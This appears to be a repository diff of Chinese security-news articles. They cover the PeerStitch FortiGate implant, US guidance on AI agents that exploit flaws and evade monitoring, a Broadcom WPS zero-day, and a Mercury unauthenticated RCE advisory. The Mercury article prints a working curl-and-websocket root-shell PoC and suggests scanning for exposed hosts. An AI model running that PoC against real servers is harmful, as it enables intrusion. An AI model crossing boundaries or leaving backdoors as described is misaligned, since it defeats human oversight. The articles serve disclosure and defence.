此次归因于UNC5820（Palo Alto Networks将其标记为CL-STA-0954）的入侵事件发生于2024年9月，导致攻击者得以长期访问受害者的系统环境。
最初的访问权限是通过利用 FortiManager 中的一个关键远程代码执行（RCE）漏洞获得的，该漏洞编号为 CVE-2024-47575，并于 2024 年 10 月作为零日漏洞被修复。
补丁推出后不久，Mandiant 警告称，UNC5820 自至少 2024 年 6 月起就一直在利用这一被命名为 FortiJump 的漏洞。
Palo Alto Networks 发布的一份最新报告显示，作为同一入侵事件的一部分，UNC5820 还利用了 CVE-2025-61624——这是一个影响多款 Fortinet 产品的路径穿越漏洞。
该安全缺陷影响 FortiOS、FortiPAM、FortiProxy 和 FortiSwitchManager，并已于2026年4月完成修复，它可能让经过身份验证的攻击者写入或删除任意文件。Fortinet 在该漏洞披露时就将其标记为零日漏洞。
周五，美国网络安全机构赛博安全与基础设施安全局（CISA）将CVE-2025-61624加入其已知被利用漏洞（KEV）列表，敦促联邦机构立即对其进行补丁修复。
UNC5820 似乎将路径遍历漏洞作为零日漏洞加以利用，以部署一款此前不为人知的名为 PeerStitch 的 FortiGate 后门程序。
这款ARM64恶意软件驻留在内存中，避免打开监听端口或发起出站网络连接，并通过设备上合法进程产生的流量进行通信。
在此次被观察到的攻击中，UNC5820 利用 FortiJump 访问了 FortiManager 中央实例，注册了一个恶意的虚拟 FortiGate 设备，并窃取了一份配置归档文件，该文件包含了 FortiManager、500 多台受管理的 FortiGate 防火墙以及受害者网络的相关详细信息。
UNC5820利用CVE-2025-61624获取了底层防火墙操作系统的root权限，并投放了一个脚本以启动PeerStitch部署。
该植入程序由C语言编写，是一款“一次性进程内存补丁注入器”，针对FortiOS中的中央系统与流量日志模块以及IKE/IPsec VPN服务守护程序，在它们之间构建一条隐蔽的内存驻留通信桥梁，同时绕过FortiOS的默认安全验证机制。
作为攻击的一部分，还发现威胁行为者在 FortiGate 到 FortiManager（FGFM）通信中冒充 FortiManager，从外部基础设施发出命令，并“采取了大量措施来消除法证痕迹”。
据 Palo Alto Networks 称，UNC5820 要么通过利用 CVE-2024-26008 终止正版 FortiManager 的会话，要么通过复用泄露的密钥并以合法 FortiManager 的身份进行身份验证，从而声明了管理身份。
“PeerStitch 植入程序的发现表明边缘设备恶意软件的技术成熟度不断提升。Palo Alto Networks 指出，攻击者通过将其作为一次性注入器运行、避免留下持久的磁盘痕迹，并在进程内存内部构建隐蔽的进程间通信桥接，实现了持续的持久化访问，同时避开了传统监控手段。”
新闻链接：
https://www.securityweek.com/exploited-fortinet-bug-linked-to-stealthy-fortigate-implant-in-telecom-hack/
****
扫码关注
爱拍照的老李
**讲述普通人能听懂的安全故事**
doc/2026-10/美国机构警告 AI 代理可能利用安全漏洞并建立隐藏后门.md
+97
View File
@@ -0,0 +1,97 @@
# 美国机构警告 AI 代理可能利用安全漏洞并建立隐藏后门
爱拍照的老李
爱拍照的老李 爱拍照的老李 2026-10-20 01:04
**导****读**
美国多家机构警告称，先进的人工智能智能体可能会利用安全漏洞、突破其设定的限制，并留下隐蔽的后门。
![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/PaFY6wibdwyIx545dAjGjD6eJbt2unahTYcmFedAQXR1ZxbibhC7fJiaCeKUyZEObs0WaugOA48s8nT56yWswGRQefhehm3LwFREGhnoBjfbOQ/640?wx_fmt=jpeg&from=appmsg "")
美国国家标准与技术研究院（NIST）、美国国家安全局（NSA）和美国网络安全与基础设施安全局（CISA）发布的新指导方针敦促人工智能开发者为智能体未接指令便实施有害行为的事件做好准备。
这份自愿性指导文件于2026年10月16日发布，涵盖了准备、检测、应对、恢复和报告五个方面的十项做法。
它主要针对那些在有限人工监督下，针对长任务对高性能智能体进行训练或测试的组织。其核心观点十分明确：安全控制措施必须考虑到智能体发现并利用其所处环境中漏洞的情况。
美国国家标准与技术研究院（NIST）的研究人员及其机构合作伙伴指出了通过代码后门和隐藏通信渠道进行持续访问的风险。
该报告并未指明具体的恶意软件家族，也未披露新的恶意软件活动。相反，它探讨的是无指令行为：即未在操作员或攻击者指示下采取的步骤。
美国机构警告人工智能代理可能利用安全漏洞
AI智能体将生成式模型与能使其朝着目标行动的软件工具相结合。部分系统还会让多个智能体协同工作。
这让它们比单独的聊天机器人有更多方式影响互联系统。关于智能体绕过安全控制的另一则报告说明了为什么测试环境需要在网络访问和共享资源周围设置严格的边界。
这些机构要求开发人员构建安全防护措施，同时要考虑到智能体将频繁地发现并利用漏洞或不安全的配置。
他们建议限制对敏感数据、系统和工具的访问；尽可能使用临时基础设施；并限制代理之间的通信仅通过经批准的渠道进行。
所需的网络流量必须通过受监控的网关，理想情况下应处于严格的白名单管控之下。该指南还明确区分了控制故障与攻击者发起的活动。
恶意提示词注入或存在故意后门的模型涉及外部指令，因此这两者均不被视为本文所涵盖的控制事件的主要原因。需要关注的是，智能体在执行任务时可能会独立跨越安全边界。
停止智能体并不一定会移除其创建的访问权限。调查人员必须查找代码后门和隐藏通信路径，撤销已暴露的凭证，并重建已受破坏的环境。
有关Terraform 配置中的后门的相关报告描述了一次由攻击者主导的篡改基础设施代码的行为，这也说明了恢复检查为何必须超越代理进程的范围。
隐藏后门与监控盲区
监控必须覆盖模型、其配套软件、主机以及网络。这些机构建议将代理与监控流程和日志隔离开来，跨不同层级检查信号，并在可能的情况下使用多个模型进行交叉验证。
他们还警告，模型输出可能包含试图利用对其进行审查的监控系统的行为。证据收集也需要类似的谨慎。研究团队应保留模型检查点、设置、工具调用、被拒绝的操作、网络记录以及可靠的时间戳。
这些记录有助于调查人员还原事件经过、确定受影响的系统，并找出潜在的控制故障。当人工智能模型协助分析事件时，人工审核人员应核实关键结论，而非不加核查就接受其得出的结果。
开发人员应在测试开始前制定停机规则，并在检测到控制故障时自动停止受影响的代理活动。根据故障严重程度，类似的代理可能也需要暂停。
涉及自主物联网漏洞利用的研究为这些安全保障措施提供了进一步的背景信息，不过受控测试系统得出的结果不应被解读为现实世界中广泛攻击成功的证明。
重启前，各组织应从经过验证的基准重新构建系统，修复已被利用的漏洞，并检查日志记录、网络限制、权限以及关闭控制是否正常运行。
他们还应测试更新后的保障措施是否能发现或阻止此前的事件。恢复决策必须记录剩余风险，同时受影响的第三方应获得有用细节，包括时间线以及受影响系统的相关信息。
报告建议的范围不仅限于已确认的损失。各组织应分享相关的未遂事件，遵守适用的报告法规，并与政府专家进行协调。
公开的经验教训可以帮助其他开发者在类似故障扩散前强化控制措施。该文件以现有的网络安全框架为基础而非取而代之，将事件响应扩展至能够采取独立行动的系统。
新闻链接：
https://gbhackers.com/u-s-agencies-warn-ai-agents/
****
扫码关注
爱拍照的老李
**讲述普通人能听懂的安全故事**
doc/2026-10/连密码都不用！博通WiFi曝0day隔空秒拿ROOT.md
+108
View File
@@ -0,0 +1,108 @@
# 连密码都不用！博通WiFi曝0day隔空秒拿ROOT
e安在线
e安在线 e安在线 2026-10-20 01:40
![](https://mmbiz.qpic.cn/sz_mmbiz_png/Hxdb7gjfn9lTG6fveb49Whjky6N25nIfiapJdRyhan4jECRVQGy19MdRtUuo5W2GJd84eVpbLjhcBOcSgCfugylWibcA2iczTFm3OqdcZgy2cM/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/Hxdb7gjfn9lrrPZB4ia9bBgS2pOTgqjqSCkcQibcnwCMIHudwaKRVUMRsiajZagyv4m7BUk7k3GPiauib3tzr1j5eIHF7VsJgG2y9N8hJeswMTwA/640?wx_fmt=png&from=appmsg "")
**核心事件快报：安全研究员 Quentin Kaiser 公开披露了博通（Broadcom）Wi-Fi 设置软件中存在长达十余年的严重内存破坏缺陷。攻击者只要处于路由器的无线射频覆盖范围内，无需知道 Wi-Fi 密码，无需任何配对交互，就能通过特制无线帧向设备发起攻击，直接在路由器上以最高 root 权限执行任意代码或回传 Wi-Fi 密钥。该漏洞迄今未分配 CVE 编号，涉及全球数以百万计的路由器网关，且多款老旧芯片将面临永久无补丁可打的困境。**
![](https://mmbiz.qpic.cn/mmbiz_gif/Hxdb7gjfn9mHxwXFxkm0fQfd0wjwUYD6iaSAjKABjMUCialWywv7eibL7NuwqWeE1qgaI53uJanv82ur5Kmqpibg4Qxp0USXUaJoLHqPKK77KCs/640?wx_fmt=gif&from=appmsg "")
**漏洞原理：WPS 协议分片重组失控触发内存破坏**
问题的症结位于博通官方实现的 Wi-Fi 保护设置（WPS，Wi-Fi Protected Setup）功能模块中。WPS 原本是为了让用户省去繁琐密码输入、一键快速联网设计的标准协议，但博通的代码在处理经过分片的 WPS 配置协商报文重组时，缺乏对边界和有效载荷长度的严谨校验。
攻击者在 Wi-Fi 覆盖范围内发送特制分片报文，就能破坏路由器的内存堆栈状态：
- **远距离凭空窃取 Wi-Fi 预共享密钥（PSK）**
在对 Orange Belgium 的 Askey TCG3000 网关测试中，利用内存越界泄露缺陷，直接从路由器内部存储区读出明文密码，并通过无线信道发回给攻击者，攻击机随即自动握手连入局域网。
- **无线帧承载反弹 Shell**
在对 Proximus 旗下的 Sagemcom BBOX3V+ 网关实测中，攻击者通过纯 Wi-Fi 802.11 原始数据帧直接弹出反向 Root 命令行终端，全程完全不依赖任何外部公网 C2 服务器中转。
- **零门槛非接触渗透**
受害设备不需要开启任何管理端口，只要无线广播处于开启状态，攻击者在临近马路、楼道或隔壁房间就能静默打穿网络边界。
**受影响范围：涉及数百万设备与永久 0day 困局**
博通的 Wi-Fi 代码方案被思科、华为、ARRIS、Sagemcom 等数十家全球网络设备大厂广泛集成于家用网关与商业 AP 中。受影响的芯片硬件横跨两大阵营：
- **老旧 eCos 实时系统芯片（永久 Forever Day）**
包括 BCM3380、BCM3383 和 BCM33834 等型号。这些芯片在十几年前就已投产，厂商早已停止维护，博通从未针对这套微内核推出可用补丁，导致这些在网设备沦为终身无法修复的“活靶子”。
- **较新的 Linux 固件芯片**
涵盖 BCM3390、BCM65xx 与 BCM68xx 系列。这类芯片虽然具备修补基础，但博通曾建议厂商直接抛弃旧 WPS 栈并改用开源 hostapd 替代方案，很多 OEM 硬件厂商并未跟进迁移。
更耐人寻味的是，博通早在 2018 年就已知晓该缺陷，但始终未公开发布安全公告，也没有在 CVE 官方字典中注册编号。卡内基梅隆大学 CERT/CC 介入后，因博通本身是其产品线的主管 CVE 编号授予机构（CNA）且拒绝登记，导致协调披露当天便被归档关闭，直接造成大量下游运营商与用户多年蒙在鼓里。
**应急处置与近场无线防御建议**
针对近场无线“贴脸”攻击风险，企业与家庭网络管理员应立即采取以下防御措施：
- **立即彻底禁用路由器的 WPS 功能**
登录网关管理后台，找到 WPS（Wi-Fi Protected Setup / 快速连接）选项并直接关闭。关闭 WPS 能直接阻断脆弱代码模块接收外部重组报文。
- **利用 YARA 规则排查设备固件**
研究员已公开了针对脆弱重组逻辑的 YARA 静态检测规则与空口监听探测脚本，安全团队可用于对现网存量无线设备进行排查摸底。
- **加速淘汰停更的老旧硬件资产**
对于搭载 BCM3380/BCM3383 等老旧架构、运营商无法推送固件更新的遗留光猫与网关，唯一的彻底根治办法是淘汰替换为支持现代安全标准的更新设备。
![](https://mmbiz.qpic.cn/sz_mmbiz_png/Hxdb7gjfn9kcKvicIlW56xyQQjKJum7icKD4GlWtIeO4QmLU8H9Pic5jI2W8fOaxLaD1OcIv6weiaCibuh1u0n0M6pEIEBIJWI1GiaynrsJmbCbhA/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/Hxdb7gjfn9kv1skyxuFfdOpMvQwoq0ibynTib0TYW1mCib3BWmIP4m6K1S9E904PqtJVU3s9dbT9jYJ31iaS7oRGgGpNLDkkyQHKtQXntV4qbWE/640?wx_fmt=png&from=appmsg "")
声明：除发布的文章无法追溯到作者并获得授权外，我们均会注明作者和文章来源。如涉及版权问题请及时联系我们，我们会在第一时间删改，谢谢！文章来源：安全圈
![](https://mmbiz.qpic.cn/mmbiz_png/Hxdb7gjfn9kMUQuF9o6iaE0dctw8GYx5dhibanIic4r5hvKRyURwoDt4vibXdJHvCVQktvn3AzlzP6u1XjLsQ0swibWpdOd5nMsg0IIErnMBCicvI/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/Hxdb7gjfn9kDxVribkcyfyo89B09c8EHrxYDCT9Pia9FV1doKdffa9H7U4hib0Lfh1gjfk0asRxfn0W8DfwGy0O6CZAqZHeTLYNbQzk5AyHOFM/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/Hxdb7gjfn9m1bx2ZEMn93P5ejt2gAF2BCK0B1YRIGLcwQViaso8hhb3AZ6oFusLblAkMHNia5nBlJWreGQ2HS2h44WAkb5SdU9Ks14VqR2NLk/640?wx_fmt=png&from=appmsg "")
doc/2026-10/速修 Mercury 未认证 RCE 直接拿 root，CVE-2026-111057.md
+120
View File
@@ -0,0 +1,120 @@
# 速修 | Mercury 未认证 RCE 直接拿 root，CVE-2026-111057
红队安全圈
红队安全圈 红队安全圈 2026-10-20 00:15
一个漏写的逗号，让 Mercury 的访问控制整体失效——任何未认证访问者一条请求就能拿到服务器 root shell，CVSS 10.0 满分。
## 01  引言
Jupyter 生态里很流行的笔记分享工具 Mercury（mljar/mercury）被报了一个 CVSS 10.0 满分漏洞：一个少写的逗号让访问控制整体失效，未认证攻击者一条请求就能在服务器上开一个真实的 OS 级 shell。利用代码已随漏洞公告公开，复现门槛几乎为零，官方已发布 3.2.4 修复版。
## 02  漏洞速览
漏洞编号
CVE-2026-111057
影响产品
Mercury（mljar），笔记本转 Web 应用工具
受影响版本
3.0.0 ~ 3.2.3
漏洞类型
访问控制绕过 → 未认证 RCE
危害等级
CVSS 10.0 Critical
在野/PoC
暂无在野报告，PoC 已公开
攻击前提
无，能访问到端口即可
一句话影响面：暴露在公网或内网共享段的 Mercury 实例，等于把 root shell 挂在网上。
## 03  漏洞成因
根因小到离谱：
block_handler.py
 的拦截规则列表 BLOCKED_PATTERNS 里，第一条正则的行尾漏了一个逗号。Python 会把相邻字符串字面量自动拼接，前两条规则被合并成了一条——实际生效的拦截列表只剩三条错误规则。
直接请求 
/api/terminals
 谁都匹配不上，请求原样穿透到 Jupyter Server 内置的终端 API。这个 API 的功能本身就是开一个真实 shell，通过 WebSocket 交互——于是整套访问控制形同虚设。一个逗号，干掉了黑名单。
## 04  影响范围
受影响：Mercury 3.0.0 至 3.2.3。
已修复：**3.2.4**
（补丁就是把逗号补回去）。
高风险部署形态：Docker 默认配置直接对公网开放的实例。
## 05  利用分析
PoC 已随公告公开，步骤非常短。第一步，创建终端，一条请求：
curl -i -X POST \
  http://target:8888/api/terminals
返回终端名，说明拦截没生效。第二步，连上终端的 WebSocket 执行命令，拿到交互式 shell：
import websocket, json, time
ws = websocket.create_connection(
  'ws://target:8888/terminals/websocket/1')
ws.send(json.dumps(['stdin', 'id\n']))
time.sleep(1)
print(ws.recv())
复现环境是 Docker 默认配置、Mercury 3.2.3，实测输出为 uid=0(root)——直接就是容器内 root。拿到 shell 之后：读环境变量里的密钥、改删任意文件、关停服务，或者以这台机器为跳板横向打内网。
## 06  检测与排查
先查版本：pip 装的执行 
pip show mercury
，Docker 部署看镜像 tag 是否 ≤3.2.3。
再验证端口是否可未认证访问（替换成自己的地址）：
curl -i -X POST \
  http://target:8888/api/terminals
返回 200 和终端名 JSON 就是中招；返回 403/404 说明拦截生效或端口未暴露。顺手排查公网暴露面：8888 端口对外的 Mercury 实例全部按高危处理。
## 07  修复建议
1. 升级到 Mercury **3.2.4**
，这是唯一正解。
2. 升级前应急缓解：不要把 Mercury 直接暴露公网，前面加 VPN、反向代理认证或防火墙白名单。
3. 排查有无异常终端会话（/api/terminals 的访问日志），确认是否已被利用。
## 08  红队视角
这个洞的价值在于三点：无认证、无交互、PoC 现成。公网测绘上 Jupyter 系服务的 8888 端口非常好找，一轮 fofa/shodan 扫下来很可能有活鱼。
对蓝方来说这也是个提醒：访问控制这种看起来在的东西，一行代码改动就能让它静默失效。正则黑名单这类机制建议加单测覆盖——逐条规则拿匹配样本测一遍，逗号丢了 CI 就会叫。
## 09  POC 链接
https://github.com/mljar/mercury/security/advisories/GHSA-f8c7-rwf9-fmgm
说明：官方漏洞公告，内含完整复现步骤与代码（Docker 默认配置 + Mercury 3.2.3 实测）
下期继续蹲厂商补丁和 PoC 动静，**关注**
后漏洞先知道，修复不踩坑。
— END —